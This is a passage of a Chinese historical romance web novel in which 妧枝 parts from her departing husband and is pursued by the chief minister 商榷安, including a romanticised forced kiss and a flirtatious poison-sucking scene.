“京都时局已定,可我时至今日,才发现我并不适合官场,与其在京都浑浑噩噩度日,不如去边关走一遭。只是这般,就要对不住你了……”
历常珽回头看着妧枝,朝她一笑:“别怪我,阿枝,我努力过,也想过就此继续留在京中与你白头偕老,可去边关的念头一起,便如何也止不住。我想,我们应该就此别过。”
妧枝沉默,她看出了历常珽神情中的悲哀与苦涩,他挺起的腰身已不如从前那样笔挺,像遭受了巨大的打击,难以面对,唯有离开此地方能得到解脱。
妧枝:“那我……”
历常珽等着她说完,但妧枝只起了个开头,便将后面的话隐去了。
她已追来此地,可历常珽态度依旧,心意不变,若她提出要随他一起去,历常珽是去上任,并非真的游山玩水,显然妧枝无法跟随。
且他彷如明白她的心思,就这样在商榷安的眼前注视下,朝妧枝靠近,他将她拥入怀里,低头与妧枝说了些什么。
只见妧枝惊讶不已,很快摇头,然而被历常珽制止住,随即变得无奈和默然。
接着渡船那边终于开始出声催促,“大人,时辰到了,实在不能耽误了。”
历常珽将妧枝的腰身松开,他还没有彻底离开,就已经开始怀念女子身上的香气了,而他们昨夜才新婚,妧枝刚嫁给他。
可他不得不那么做,“我该走了,阿枝,就像我说的那样,若有空,我会写信给你,再会了。”
“常珽。”妧枝跟上去想要再次挽留。
但这次商榷安却执意踏上了船板,“回去吧,阿枝,回去。”
他抬头和始终等待在附近的商榷安对视上目光,如同一个信号,二者什么都没说,随着渡船的驶离,历常珽的身影与妧枝离得越来越远。
渡口上的船只重新填入空位,妧枝孤身站在岸头目送他的背影,一直到身边有人缓缓靠近,商榷安的下属凑过来道:“妧娘子,大郎君问你还好吗?可还要再此再待一会,多久都可以陪你。”
妧枝怔愣,像是这才想起商榷安,她回头朝他看去。
商榷安得了风寒,正抵着唇咳嗽,在察觉到妧枝的视线后,又将手放了下去,拧着眉眼眸瞧着黑亮而深邃,俊脸因体内的高热而微微泛起嫣红,神色却始终平冷且没有表情。
不像是因历常珽的离开,而有半分的幸灾乐祸,或是袖手旁观。
在妧枝走来以后,准备回到马车上,只听商榷安道:“舍不得?可要帮你把人调回京都?”
仿佛只要妧枝说,商榷安就真打算那么做。
而妧枝一时心情复杂地停留在原地,她看了看商榷安,最终还是摇头,“不了。”
历常珽想走,是因为京都带给他的伤害太多,妧枝即使不舍,也不能为了一己私欲将他强留下来,否则旁人只会以为她是为了郡王妃的位置,才不肯放对方远走高飞。
商榷安没再多说,他忍着风寒带给他的难受,揉了揉额头,连眼睛都烧的变了颜色,只是他没有继续在妧枝跟前表现,就道:“那就回去吧。”
下属拿了个小凳子供妧枝踩着上车,不多时商榷安也坐了进来。
马匹调转了头,妧枝还对着窗户,想要看一看历常珽离开的河道,然而渡船已行到山水之间,连船只的影子都变得渺小模糊,更分不清是哪一艘了。
车内静默无声。
妧枝看着窗外,商榷安也并未打扰她,只是中途咳嗽声响起,不免将妧枝的心神都拉了回来。
“你……”路上商榷安咳成那样,妧枝不得不问道:“你怎么样?”
商榷安回应她,“死不了。”
后来即使再有动静,商榷安都把咳嗽咽了进去,听上去闷闷的,像是不想让人对他多留意。
二人一时无话,妧枝倒还是留着历常珽给她的书信,她正慢慢抚平揉皱的地方。
而商榷安则在另一旁与妧枝相隔了些距离,闭目养神。
枕戈在马车外往门缝里偷偷看了一眼,将里面的情形瞄的一清二楚,一直到挺过漫漫长路,回到京都。
已是黄昏时候,入了城门,内城里的街道上行人还有许多,街市上正热闹着。
时隔许久,沉默的气氛终于被打破。
商榷安问道:“去哪儿?”
这话颇为奇妙,妧枝昨日刚嫁人,而历常珽如今远走他乡,不知他们二人最后是如何交谈的,至今无人知晓妧枝心里是怎么想的。
是继续与历常珽再续前缘,还是回妧府。
被商榷安盯着,妧枝却是道:“在前面,放我下来,我想自己走回去。”
商榷安:“不用我送?”
妧枝坚定摇头,“不必,我自己回去。”
若商榷安不答应,倒显得他不通情达理了,此时妧枝心绪较乱,她坐了许久的马车,也该下来走一走了。
于是马车在下一路口,被一道声音喊停。
“放妧娘子下车。”商榷安一吩咐,整个车身便不动了,而外面枕戈正在放小凳子下去。
只见车门一打开,妧枝便从里面下来。
她本想一走了之,然而顿了顿,还是回头冲里面的人影道了一声,“多谢。”
今日若不是对方帮忙,她绝追不上历常珽,顾曲是他的下属,为了自家郡王,定然会帮忙阻止妧枝。
而商榷安没有来添倒忙,倒是让人对他刮目相看一笔。
说着,揣着信件,妧枝没入人群。
而在她离开一会,马车中就陆续有人下来,商榷安注视着人影消失的方向,枕戈来到了商榷安身后,同样望着街上穿梭来往的人群,“如今就只剩妧娘子一人,大郎君又有了机会……”
商榷安:“她嫁了人,还不知会不会和离,你怎知我还会娶她?”
枕戈:“……”他也没说妧娘子要嫁啊?
妧枝身影一下消失不见,商榷安跟着往她走过的痕迹走去,枕戈让车夫自行离开,同样快步跟了上来。
而消失不了多久的倩影不多时又重现在眼前,只是隔着人群,商榷安始终未上去接近,而是不远不近的就守在后面。
这番搜查和追踪的眼力,即使放在枢密院追踪消息的同僚身上,也不遑多让。
一直到妧枝停下脚步,在巷落拐角处的商榷安也站住,透过街上未被熄灭的灯笼,可以看清妧枝所站的门前,上面还挂着王府的牌子。
妧枝竟还是选择回到了她现在的夫家。
枕戈顷刻朝商榷安偷瞄去,忍了许久咳嗽的大郎君负手而立,然后没有意外的哼笑一声,似是不甚在意,但掌心却倏然抠紧了。
第100章 你这个无情的女子。……
世间夫妻,成婚三日就会回门,探望妻子家中的父母亲戚。
但历常珽已经离开京都,也就不存在继续守这规矩,而妧枝也成了光有头衔的郡王妃。
没有长辈,且甘府也做不得主,妧枝可以自行去留。
可历常珽离开的第一日,妧枝待在郡王府,并未有什么特别的动静,她像是自己的丈夫不过是出了一趟远门,也不在乎是否新婚,日常与在妧府无异,吃了喝,喝了睡。
闲暇时余,就用些伙计和看书来打发时候。
据商榷安得到的消息,之后的两日三日,都十分寻常,甚至回门那天妧枝是自己一个人去的妧家,历常珽的下属顾曲跟随,只要她在郡王府的一天,这个府里的上下都认她是他们的王妃。
而她以历常珽秘密出门办事为缘由,挡住了平氏的疑惑和询问。
此番虽然让平氏等人惊讶,却又十分体谅,没有过多追究。
待到妧家之行结束,妧枝便又回了郡王府,整日都不曾出来过。
枕戈将那边得到的消息禀告给商榷安听,在一处新购置的宅院中,商榷安的卧房里,他合衣而躺,如今他已从濉安王府内搬出来,自立门户。
这般分开,以他今日的地位无一人敢置喙,夜色深沉,枕戈办事回来得太晚了,但不敢耽误,于是将连日来的观察都在当下说了出来,由商榷安自行揣摩决定。
而知晓妧枝近况的商榷安表现得并不着急,历常珽才走没多少时日,这般急吼吼地去接触妧枝,不过是自降身价。
此女肯定会拒绝他,商榷安沉着冷静道:“让人看着点她,只要不出意外,她想做什么都成全她。”
枕戈愣了下,但看商榷安怎么都不急的意思,也未有行动,一时猜不出他心中打算,只得点头应下,“是。”
眼下妧枝定然心绪不宁,多在离京的历常珽身上。
想到此,在下属走之前,商榷安道:“多安排些活计,免得她成日多想。”
枕戈很快便明白了,从商榷安房中离开。
要剥夺一个人对另一个人的注意力,自然需要其他身外事来牵扯他们心神。
天下的消息,无论大小,枢密院的情报都能截获到,从往日机构升官成了宰执的商榷安身兼两职,想做些动作简直轻而易举。
郡王府里,妧枝这些时日的确思绪低沉,尤其在亲自追到渡口,却无法将历常珽留下,对方依旧坚定离开京都,这让她眉头上笼罩了不少忧愁。
是以她最近都在思考与历常珽的关系,是放手成全他的想法,还是不辞辛劳等他到经年日久。
他自认已给不了她幸福,便想让妧枝寻个第二春。
可妧枝并无这样的心思,她已经到了视情爱非唯一的地步,除了与历常珽结为夫妻,她不知还能有谁再走近她的身边。
母亲与弟妹皆以安定,身边没有忧患,妧枝心意开始懒散,并不追求情爱。
要强求历常珽回京,或是保留二人这段婚事,妧枝亦有些为难,她为历常珽考虑,他所经历的痛楚,并非三言两语就能抚平。
她也不是他,无法感同身受,说再多安抚的话,或是待在历常珽身边,也不过是增加他的痛苦,所以才在他要离开时不敢强留。
而她也不想让自己在历常珽心中,变成那等一想起她来就会痛彻心扉的印象,这是妧枝对他的理解,也是对他的温柔。
于是便僵持在此处,好在对方人不在京都,妧枝留在郡王府也无人敢对她说三道四。
妧枝想留多久,便留多久。
她黯然神伤,没有什么闲情逸致出去游玩逗留,但常待在郡王府不见生人,也会令她心情低落。
就这般过了小半月,不知何时开始,平氏那边来了消息,让她择日有空就去庙里祈福。
生母相邀,妧枝不可不从,她收拾心思陪平氏去了东林寺。
故地重游,在香火鼎盛的寺庙中,妧枝仿佛回到了开春时候,只是这个季节渐渐天寒地冻,树木枯黄,在这心境也全然不同。
从前刚重生时候,她抱憾病逝,心中充满怨念,只想改变过去,为自己和为家里复仇,而今仇怨已消,即使东林寺没有了春日茂盛的气息,却也让妧枝感受到了新生。
很快,她与平氏排队上香,等出了殿门,就听见有人呼唤,“救,救命,我家夫人要生了,谁来帮帮我们?”
妧枝与平氏过去,寺里僧人也意想不到会出现这种事,拿捏不好姿态,“佛门重地……不好沾染血腥,玷污了佛祖。”
正考虑要不要留下妇人在此地生产,就听旁边一道柔和的女子声音不乏威严道:“佛不就是为普渡众生,又怎么会嫌弃被人玷污?小师父简直着相了,还是救人要紧。”
那僧人看她衣着不凡,不怒自威,显然是富贵出身,加之地上的妇人不断哀嚎,且还有附近香客涌过来,只得听从妧枝的命令,将人暂时挪到殿宇空置的地方。
好在平氏懂得药理,也通晓些医术,又有过生育经历,于是命人赶紧烧水,让妧枝与她一起照顾即将临盆的妇人。
“阿枝,剪刀。”
“给她喂口水,别让她咬到自己的舌头……”
剪刀妧枝很快去找人拿来,僧人不知去了何处,也许是去通知了寺里的主持,而整个大殿的门被微微合上,妇人的夫婿则在一旁不断宽慰她。
期间烧好的热水被送到殿中,还有一些穿旧了的俗家衣物给他们拿过来。
待到主持来时,只听一声凄惨的哀叫,接着一声哭啼,孩子便呱呱坠地了。
妇人夫婿对着平氏与妧枝感激不尽,“多谢夫人,多谢娘子,若不是二位出手相救,只怕我妇人和我孩儿都活不下去……”
主持对颇有微词的僧人一番训诫,同样在旁悲悯道:“阿弥陀佛,两位施主慈悲心肠,定得佛祖保佑。”
妧枝同母亲忙碌一场,待到呵出一口热气,才感觉到自己紧张到出了一身冷汗。
没有过谦,妧枝与平氏得到妇人及夫婿的感谢,心中也快慰不少,在之后得知他们须得归家还让出了马车,让妧府新来的车夫将其送回家中。
而母女二人从寺里出来,则有意在城中街道上走走,寻了个路边茶摊暖和身子,等待车夫回程来接。
就在这时,一辆马车默默驶过来,枕戈打开窗户,朝着刚坐下不久的母女二人问候:“平夫人,妧娘子,二位可好?”
平氏惊讶地看着蓦然出现的马车,那里面枕戈背后还有一道人影,他让开来让她们看到许久未见的商榷安,他日益位高权重,威望无比,气候越凉越显得他宛若寒风中的乌雀孤家寡人,没了下属,便是形单影只。
而他不加掩饰,目光从出现在此处起,就落在妧枝身上,察觉到平氏动静后才有所挪动,对着她问候,“世母安康,别来无恙。”
平氏看看商榷安,再看看妧枝,一时不知该不该应。
她尚且不知妧枝与历常珽分别的事,只知长女已经出嫁成了别人的妻子,而对妧枝执著不已的商榷安之后十分安生,没有阻挠女儿和女婿。
这堪称罕见之举,而今在大街上碰见,她既担心又堤防二人会不会出什么事。
“原来是宰执大人,别,别来无恙。”
商榷安:“世母客气,可以叫我榷安。”
平氏一脸惶恐,哪敢这么大胆,却发现商榷安眼神已经盯上妧枝,“天寒了,怎么只有二位在此,没有下人伺候?马车呢?”
妧枝对商榷安的到来显得波澜不惊,“遇到一对夫妻,妻子怀有身孕,在寺里生下了孩子,走不得路,让车夫送他们归家去了。”
商榷安了然道:“原来是这样。”
看在商榷安帮过她不下一回的份上,妧枝勉强说了缘由,而她和商榷安这般没有争锋相对,平和聊天的方式已经令平氏惊讶不止。
“世母和阿枝真是慈悲心怀,但寒意渐深,还是早些回去为好,免得着凉。我送你们?”
商榷安终于说出自己的目的,令妧枝多看他一眼,仿佛在说他狼子野心。
平氏:“不,我我看还是不必了。”
对商榷安,不管地位还是性子,平氏都心有余悸,只觉得他留有余威,不敢冒犯招惹。
尤其长女现在身份不同,不想他们牵扯太深。
然而商榷安看得并不是平氏的意思,他笑了笑,执意道:“世母客气了,我是顺路,那我下来接你们上去?”
这下就连妧枝都添了几分诧异,拧着眉看着商榷安二话不说就从马车内下来。
而平氏更是连连摇手推拒,却在商榷安当面过来后,只是被他请了一下,就像被掐了脖子般,噤声怎么安排怎么来。
平氏踩着凳子上了马车,轮到妧枝,商榷安用目光凝着她,没有多说,而是侧身在一旁等待,毕竟平氏都已在车里了,留妧枝一个人,不上也得上了。
下一刻,妧枝动了,她同平氏一样,上去了,而商榷安还为此在她身后扶了一把,二人四目相接,透过商榷安的眼神,气氛瞬间有一种特别。
到了车上,平氏颇有些不安,“阿枝,怎么办,要不我们还是下车等自家的车夫回来吧?”
话落,恰好商榷安同样进来,此话被听见,却没有露出丝毫表情。
只有平氏尴尬不已,为了不得罪他,不敢再找长女说话。
之后,商榷安根本没有谈及此事,反倒问她们,要不要用些茶点,马车中有专门用来放置茶壶茶点的箱子。
为了帮平氏缓和心里的不安,妧枝代为答道:“多谢,阿母,尝尝吧,都饿了。”
“哎,好好。”平氏道。
妧枝和商榷安在马车中注视对方,路上气氛相当微妙,除了一开始紧张,待到平氏用了些吃食,便都平静了下来,还能与商榷安有来有往说几句话。
就这般行到了妧府的门口,平氏被枕戈扶着下车,送进家门。
妧枝还在车中,她刚要下去,就被一只手拉拢,令她衣上的腰带一紧,只见一回头就看到商榷安勾住了她的衣物,不肯放松。
妧枝一脸了然道:“你果然本性难移,不够安分。”
商榷安微微勾唇,“你猜到了就好,我不过是想留你多说几句话,亦要批判我的罪状吗?你这个无情的女子。”
妧枝愕然,料不到商榷安会是这样说,很快有片刻晕眩,她被转过身来,一下跌坐进商榷安怀里,如铜墙铁壁,令她脱不开身。
100-107
第101章 我给你做小,怎么样?……
被商榷安困住,妧枝还未说些什么,就被搂着她的人一道偏头的轻咳所打断。
商榷安听着似是不舒服,连带着胸膛都在微微震动,妧枝被他环在胸前,可以感受到他的绸缎衣物摩擦在脸上的感觉,微凉中泛起温热的触感。
日前他送妧枝去渡口追人那天,就有些不大对劲,没想到这么久了竟还未好。
妧枝:“你的风寒还没好?”
马车外回来的枕戈抢答道:“妧娘子,大郎君得的不是风寒,他是遭人陷害,下了药,药里面有毒。”
商榷安蹙眉凝神,目光变得锐利起来,看了眼窗外,似是嫌下属多了嘴。
“不干你的事。”
妧枝观察他,的确看似精神,但眉眼间总有股恹恹之气,唇色也不如往日红润,而他脖颈处有一根凸起的青筋些许泛蓝,近看藏在衣襟里,颇为明显。
“看来这毒还不够厉害。”没把这祸害毒死。
商榷安:“你很失望?”
妧枝神情不言而喻,商榷安盯着她的脸,原先还流露出一丝笑,这会十分受伤般,又问了一遍,“你真的很失望?”
妧枝不说话。
这下当真让商榷安心中受到重创,他开始上手,掐住了妧枝的脸,不怎么用力的往外拉扯,“你这狠心的妇人。”
妧枝不曾想商榷安这般耍无赖,她脸皮嫩,被扯了扯就变得通红,而她抬手反抗也很快被商榷安给压了下来,“住手,住手。”
二人忽地扑倒乱作了一团,尤其商榷安玩弄着她的面颊,又往下挠了妧枝痒痒,一时间气氛已经变了味,而在妧枝喘着粗气,让商榷安“别挠了,别挠了”,二人面对面,呼出的气息彼此都能感受到。
妧枝身上的馨香散发出来,夹着她温热的体味,商榷安不知不觉在她耳畔轻嗅起来,然后对上双眼。
妧枝眼前商榷安的面容逐渐放大,而他未经准许便吻了上来,按着她沉醉而仔细地含吻她的唇。
妧枝抬膝想要将其推开,但商榷安一如既往早有准备,稍一抬腿,便压在她上面,让她没有力气反抗,只能被迫接受这样半是逼迫半是引诱的吻。
与以往不同,商榷安吻得又深又温柔,其中还透着霸道的控制,他的怀抱炽热包裹着她密不透风,妧枝竟不知只是这样唇齿相碰,便能叫她头晕目眩。
她甚至还不自觉发出那等沉浸在欢愉中的轻吟。
“阿枝,怎么还未下来?”
倏忽,平氏久等的声音传进马车中。
妧枝睁开眼,发现商榷安早已悄然幽深注视着她,被妧枝发现后还在最后之际重重亲到她的舌头方才含着笑,退出来。
“世母,是我留阿枝多说了几句话,耽误了。”商榷安:“可千万别怪她。”
他即使不吻了,却还压在妧枝身上,把玩她的一缕发丝。
但下一刻就被头脑昏涨,有了一丝清醒的妧枝推开,她起身坐了起来,平静呼吸,“阿母,我这就来。”
她瞪眼,低声告诫,“你给我放规矩些,我已嫁人了。”
商榷安:“什么时候和离?”
“这辈子都不会。”
“我不信。”
妧枝从他手中又将自己的衣袖抽出来,这人把玩了她的头发,又来招惹她的衣裳,“你爱信不信。”
商榷安手上什么都没有了,妧枝要下车了,他也不阻拦,只是翻过身仰躺着靠着臂膀,十分无赖地望着妧枝,倏然问:“我给你做小,怎么样?”
正要动身出去的妧枝仿佛听见天方夜谭,回头朝商榷安瞧过来。
结果看到的只有他眼含笑意,却十分肃正的神色,“就是你想的那样,不要名分也无妨,你不和离,我便等你,哪怕你做一辈子郡王妃,我就做你一辈子的情人。”
这是当朝宰执能说出口的话?
商榷安不要名分,唯一念想便是与妧枝在一起,重续前缘,哪怕她如今已是别人的妻,而他这个前世的夫君也不在意了,可谓是委曲求全到一种地步。
且二人说话除了开头并未注意声调大小,尤其商榷安,根本不怕被听见。
这马车外,担心长女出不来的平氏被送进妧府后又回了来,在台阶上等着她,不想,竟听到这等秘闻,一时神情都变了。
只听她长女不可思议道:“你莫是被毒疯了不成。”
商榷安:“你就当我是疯了,你可怜可怜我,日行一善,佛祖会保佑你。”
这下真是秀才遇上兵,有理说不清。
商榷安:“阿弥陀佛。”
妧枝“……”
妧枝仿若车里有什么瘟疫,再未搭理商榷安,摸着被吻得发烫微肿的唇瓣下了马车。
一出来就瞧见平氏震惊地看着她。
妧枝再次:“……”
枕戈在旁溜回了马车上,笑嘻嘻道:“妧娘子,我们郎君生了病,还在解毒中,正需要人关心,还请妧娘子有空时常来看看我们郎君。”
马车这回痛快离去,留下妧枝在原地和平氏相对无言。
妧枝并未急着回郡王府,她在妧家多待了些时日,也是想理一理自身思绪。
在家中倒也清净,她若心情不好,家里人便不会随意来打扰她。
而她与平氏出门的次数同时多了起来,有时也会带上弟妹出门玩玩,上回在东林寺需要帮忙接生的那对夫妻,生了一个女儿,母女平安,因此还上门拜谢了平氏和妧枝,请他们届时可以到庄子上做客。
妧枝本要婉拒,但妧柔听说对方田庄上一座小湖泊,经常有野鸟降落,甚至还有野鹤出没,说不定能捡到鸟蛋,就连妧酨都生了兴趣。
于是便答应下来,应邀去游玩了一回,野鹤自然是没见着,但不知是野鸡还是野鸭的蛋倒是捡了不少。
那日妧枝心情莫名变好,如同连日来随着历常珽离开京都的阴云都开始变晴。
但只要她一出门,妧枝便发现她总会遇到需要她帮助的人。
路边与家里走散的小姑娘,扯了扯她的衣角,“姐姐,我找不着家了。”
妧枝:“你家在何处?你是京都人士?”
无论妧枝怎么问,小姑娘只说了开头那句话,便什么都不知道了,而妧枝只得抱起总角的她,到大街上转一转,让她看看有没有眼熟的地方,问一问人家。
再不济,便只有去官府了。
而没多久,小姑娘便指了一个巷子,“阿母。”
妧枝顺着怀里的孩子指引,将她送回去,却发现那里面忽而传来一阵热闹的喝彩声,等走近才瞧见是一处专门杂耍瞧热闹的园子,里头还有戏班。
而小姑娘的阿母不知是哪一位,妧枝问了人,方知是正在戏台上唱戏的女子,于是只有陪着她坐在戏台下面,等结束后再将小姑娘交换给她母亲。
倒是妧枝,本是不怎么爱看戏的人,渐渐也因戏台上演出瞧得入神。
“阿梨,阿梨,大家说你不见了,可吓死阿母了。”
下了戏的女子心急如焚,前来抱紧女儿,又同妧枝感激道:“多谢娘子找到我阿女,实在感激不尽。”
妧枝摆摆手,“举手之劳,下回可不要再偷偷一个人跑出去了。”
她轻轻刮了下小姑娘的小脸,在女子感恩声中离去。
“这位娘子,帮帮我,帮我个忙。”
妧枝回到路上不久,街上又有一个上了年纪,腿脚不便的老妇人行动缓慢地走出来,“可否帮我去百食斋买上些许点心,家中只得我一个老婆子,孙儿正闹着要吃,还请娘子发发善心,帮我走一趟。”
妧枝一愣,待看到老妇人身后不远处的暗巷里,一个不过三四岁年纪的稚儿躲在门后小心翼翼窥探她,便不再犹豫,“交给我吧。”
“多谢娘子。”
但凡她一出门,必会被从来不认识的人求助,妧枝已不是第一回 遇上,而今已经习以为常,是以她才经常出门,想着今日又会碰到谁,谁又会需要她伸以援手。
这种日子,倒比她整日待在郡王府或是家里的时候要明朗有趣许多。
这种不经意的小意外,渐渐叫她充满期待。
点心买来,交到老妇人手中,那个从门后窥探妧枝的稚儿悄悄跑出来,抱住了祖母另一只健全的腿,偷偷看着她。
“劳烦娘子了,这么多点心,我与孙儿一时吃不完,还请娘子也尝尝,再带回去一盒。”
“这,不必了。”
妧枝想要拒绝,然而老妇人还是要强塞进她手里,那稚儿忽地松开手,从祖母到妧枝,抱住她的腿叫了声,“阿母。”
妧枝登时一惊,背后一道笑声突地出现。
妧枝回头就见商榷安与下属在她一旁,四目看着她,枕戈因稚儿的举动笑出了声,商榷安不知是否病情加重,脖子上的筋脉更蓝了,然而那张俊脸依旧目似点漆,更有了几分病骨支离渴望得到解救的深沉感。
他也正目光如炬,静静地盯着她。
在妧枝回头,商榷安淡淡一扫抱着她腿,将她当做娘亲认错人的稚儿,在将其吓得不禁退回到祖母身边后,向妧枝示意,“又在日行一善吗?真是心善的妧娘子,不知在下可否有幸,也能请妧娘子帮我一个忙?”
第102章 救人一命胜造七级浮屠……
妧枝转身,“什么忙?”
商榷安:“不急。”他抬了抬下颔,示意妧枝先忙。
那对祖孙还在这里没走,却又因畏惧商榷安而不敢打扰他们交谈,妧枝已经帮完了忙,朝他们道:“老人家,多谢你赠我的糕点,还有什么事吗?”
“娘子帮了我的忙,我老婆子是看这两位大人是娘子的朋友,可愿到我家宅中去,吃杯茶水。”
老妇人:“我那几个儿子已有几年不在家中了,实在冷清。”
老妇人面上露出几分忧虑惆怅之色,小孙儿尚且懵懂无知,不懂没有依靠的滋味,妧枝不禁向商榷安瞧去,她倒是愿意,可这位先前就说有事找她。
然而,商榷安道:“去吧。”
妧枝:“你……得空?”
商榷安:“一盏茶的功夫,耽误不了什么。”
见他这般,妧枝倒没再说什么,只是想不到商榷安居然这般“平易近人”起来,竟愿意到一个不认识的老妇人家中去做客。
他吩咐枕戈,“再去买些吃的送来。”
老妇人闻言惶恐,“哎,使不得,大人,已经够了。”
“一点心意。”商榷安发了话,下属便依言行事,那小孙儿吃着手指,仰头傻乎乎的瞧着他。
商榷安对他来说无异于一座险峻又高耸的大山,稚儿什么都不懂,这是他一生距离这个朝代一人之下万人之上的权臣最近的一次。
而商榷安让人意外地微微倾身,拍了拍稚儿的肩膀,将小孙儿吓得痴望着他。
然后抬头对看着他的妧枝道:“若无恙,你我的孩儿也应该这么大了。”
妧枝顷刻冷下脸,一言不发。
商榷安:“怎么不说话?”
妧枝:“说什么?说你活该命里无子?”
带孙的老妇人吓了一跳,不好声张打扰,只能疑惑又忐忑地打量他们。
“想要孩子,去找别人生去。”妧枝不怀好意道:“或是再抱一个别人的孩子,认到你自己膝下。”
商榷安沉默下来,可见妧枝说的,还是有些令他伤心。
但他并未有一丝生气,反倒是在下一刻后抬起眼眸,沉郁的双眼盯着妧枝多了一丝光亮,和浅淡的笑意,“我还能找谁?我如今只有你了,你还不肯要我。”
妧枝:“……少装模作样,没有人会可怜你。”
商榷安被训以后就不说话了,他眼神示意,他的确活该,但愿望是一种奢想,奢想无罪,这妧枝不能怪他。
到了老妇人的家中,虽在暗巷,却颇为清净,宅内也被收拾的十分干净。
“娘子和郎君请坐,老身这就去泡茶。”说着,为了不打搅他们,老妇人将小孙儿也拉走了,让他在院子里自个儿玩,别扰了贵人们的兴致。
屋内,妧枝靠窗坐下,这般能够瞧见院里的情形,还能帮老妇人照看她的孙儿。
商榷安站在她身旁,没有要走的意思。
妧枝:“你到底有什么事,需要我帮?”
就当还了他之前搭救的人情,还有送她去渡口追历常珽。
商榷安垂眸看着她,他是被妧枝偏头余光觑着的,更多是在看院子里的小孙儿,但不妨碍商榷安身形抢占了她的心神,他实在太有存在感,且一点细微的动静都会引起人的注意。
“我不是很急,但枕戈他们催的比较紧。”
真是莫名其妙,妧枝纳闷:“什么?”
商榷安:“你确定要在这里说?”
妧枝:“有什么见不得人的?”
得到她的回应,商榷安勾唇笑了笑。
妧枝忽然感觉到头顶有阴影笼罩,果然商榷安俯身下来,妧枝一怔就感觉到耳畔一阵呼出的热意,“我需要你,用嘴帮我把余毒吸出来。”
“……”
妧枝误以为是幻听。
“已经有月余了,他们给我下了七情散,会从五脏六腑还是腐烂。”
“他们?”
“一些谋反的罪臣余孽。”
妧枝认认真真观察商榷安,他离得她很近,很容易就能瞧见他衣襟处脖子上泛蓝的青筋,这的确是中毒的模样。
“你不怕死?这毒是不能被彻底清除么,还是没有解药?都这么久了,为何要我帮你去吸。”
商榷安:“已经解了大半,只剩微量余毒,我也说过不需要解了,是他们要小题大做。我想留一点,死也死不了。”
妧枝跟他对视,商榷安在笑,眸子瞧上去不再那么冷,说出来的话也都随性。
“不帮你吸会如何?”
“不如何。”商榷安:“余毒而已,偶尔发作,会肺腑作痛,忍忍亦能过得去。”
“为何找我?”
“不找你的话,枕戈他们就要代劳了,但我想我已经是你的人了。总得为你守住贞洁才对。”
商榷安沉吟着说,妧枝已经无言以对了。
她什么时候答应过商榷安让他成为她的人?
“你的贞洁值几个钱。”妧枝无所谓的样子,商榷安如今与她何干,他和谁在一起都不关她的事。
商榷安认真思考了番,接着看着妧枝笑道:“我如今身居高位,一朝宰执,一年俸禄上万石,王孙贵子的父亲们见我也得礼让三分,我觉得还是颇有身价,算是贵重吧?”
妧枝也露出微笑,只是毫不留情道:“这么贵重,那你可得看护好了,别被玷污了,否则将会一文不值。”
商榷安:“自是当然,如今你在我跟前是大,叫我往东我便不敢往西,我做了你的小,一切以你唯命是从。”
他再次压低身子,俯身靠近,“吸一吸我,好吗?救人一命胜造七级浮屠,阿枝娘子。”
妧枝腰身一颤,意想不到商榷安会突然轻咬她的耳根,还往她脖颈处吮了下。
目光中充满愕然、不可思议略带嫌弃。
但商榷安不知是不是余毒发作,他脸色看起来比刚才还要白上许多,原来眉头一直皱着,笑中透露些许苦涩。
静默中,妧枝问:“你确定要在这?”
这是别人的家中,妧枝与他不过是来做客。
商榷安:“没有人会知道的。”
妧枝:“……”
从头外头采买了礼品的枕戈来到老妇人的家中,他在院子里看到老妇人的孙儿正在院子玩耍,于是问:“小孩,可见着我家郎君和娘子了?”
小孙儿怕生,痴痴看着他手里的东西,躲在树干后,随即看向屋内正堂。
枕戈随即将东西抱进去,却在正堂没瞧见商榷安与妧枝的身影,而恰巧老妇人终于泡好了热茶出来,没见到人,也十分讶异。
“诶?”
“怎么了?”
“刚才那位大人和娘子还在这。”老妇人将小孙儿喊到身边问了一句,“宝儿,可瞧见大人们出去了?”
小孙儿摇头,老妇人疑惑不已。
而枕戈闻言观察打量一番,走出正屋,在老妇人追出来后,忽地回身,笑着道:“老人家,不碍事,许是我家郎君他们出去了,小宝没瞧见。我就在此处等,喝一杯茶水,不见怪吧?”
“好好好,大人不必客气,我来给你斟茶。”
……
半是昏暗半是明亮的屋子里,许是这家人的儿子久未回来住,老妇人无力经常洒扫,房中的被褥都被塞进了柜子里,免得落灰,其余床榻桌椅平日仅是擦了擦,勉强称得上干净。
妧枝来都来了,也不嫌弃,她又不是要与商榷安做什么,无需在意那些细节。
妧枝问:“只要将你体内余毒吸出来便可,是吗?”
商榷安极为确定道:“是。”
妧枝点头,一个小忙,帮完就能将其摆脱了。
“伤口在哪?吸哪里?”
她抬眸,只见商榷安不声不响坐到了一张椅子上,解开了自己的腰带衣裳,很快露出他坚实且分明的腹部。
商榷安:“劳烦你了。”
妧枝:“……”
“这不对,你的余毒不是在脖颈,怎么在腰上?”妧枝如临大敌,这回是真的嫌弃万分。
商榷安摸摸脖子,答非所问,“你想吸的是这里吗?”
妧枝:“……”
“脖子不行,御医说会伤到筋脉,只能在腰腹上。”商榷安宽慰:“腰腹也很好的,你不试试,怎知会不喜欢?”
妧枝:“……”
“换个人来。”
妧枝:“我还是去帮你唤下属来。”
她动身要推门出去,商榷安紧急拽住她的手,看着她沉默不语,只是在被妧枝拒绝后,瞧着有些失意,固执地不肯将她放开。
“一口。”
“一口也行。”
妧枝和商榷安僵持住,直到他失去耐心,而妧枝太过无情令他将手松了,带着笑道:“罢了,是我不该强求,一点余毒,你走吧。”
妧枝:“……”
商榷安开始整理衣衫,似是要将衣物重新穿好,而在这时一道鲜艳衣裙的身影靠近,他惊讶地看见妧枝重新走回面前,蹲下身,将他衣袍撩开,一切就如做梦一样。
妧枝俯身凑近商榷安腰腹,她发现上面有一道皮肉被破开过微小的伤痕,于是直径朝那道小小的伤口吸去。
只一下便听见头顶上商榷安难以抑制的抽气声。
彼时妧枝抬眸,回视商榷安的眼睛,都忘了先前只“一口”的约定,而商榷安俯视身前妧枝的姿态,人如紧拧的眉头那般难受,可他心腔肺腑像有热流,从妧枝口中传递到他四肢百骸。
他紧盯着眼前女子,失了沉稳,叫叠不停,“阿枝,阿枝。”
第103章 风雪满京。
那是唯一一次商榷安的深情外露,他只是念着妧枝的名字,就能令人感受到柔肠百转,也是他自身意识到原来对此女的柔情不知从何时而起,就已贯穿他周身。
“你这样看上去,好下流啊。”商榷安禁不住对她道。
妧枝:“……”
她稍稍往后退了一下,从那劲瘦的腰腹上离开,唇色染上被浸润过的鲜红色泽,而商榷安的腰腹伤口也显露出被吃过的红痕。
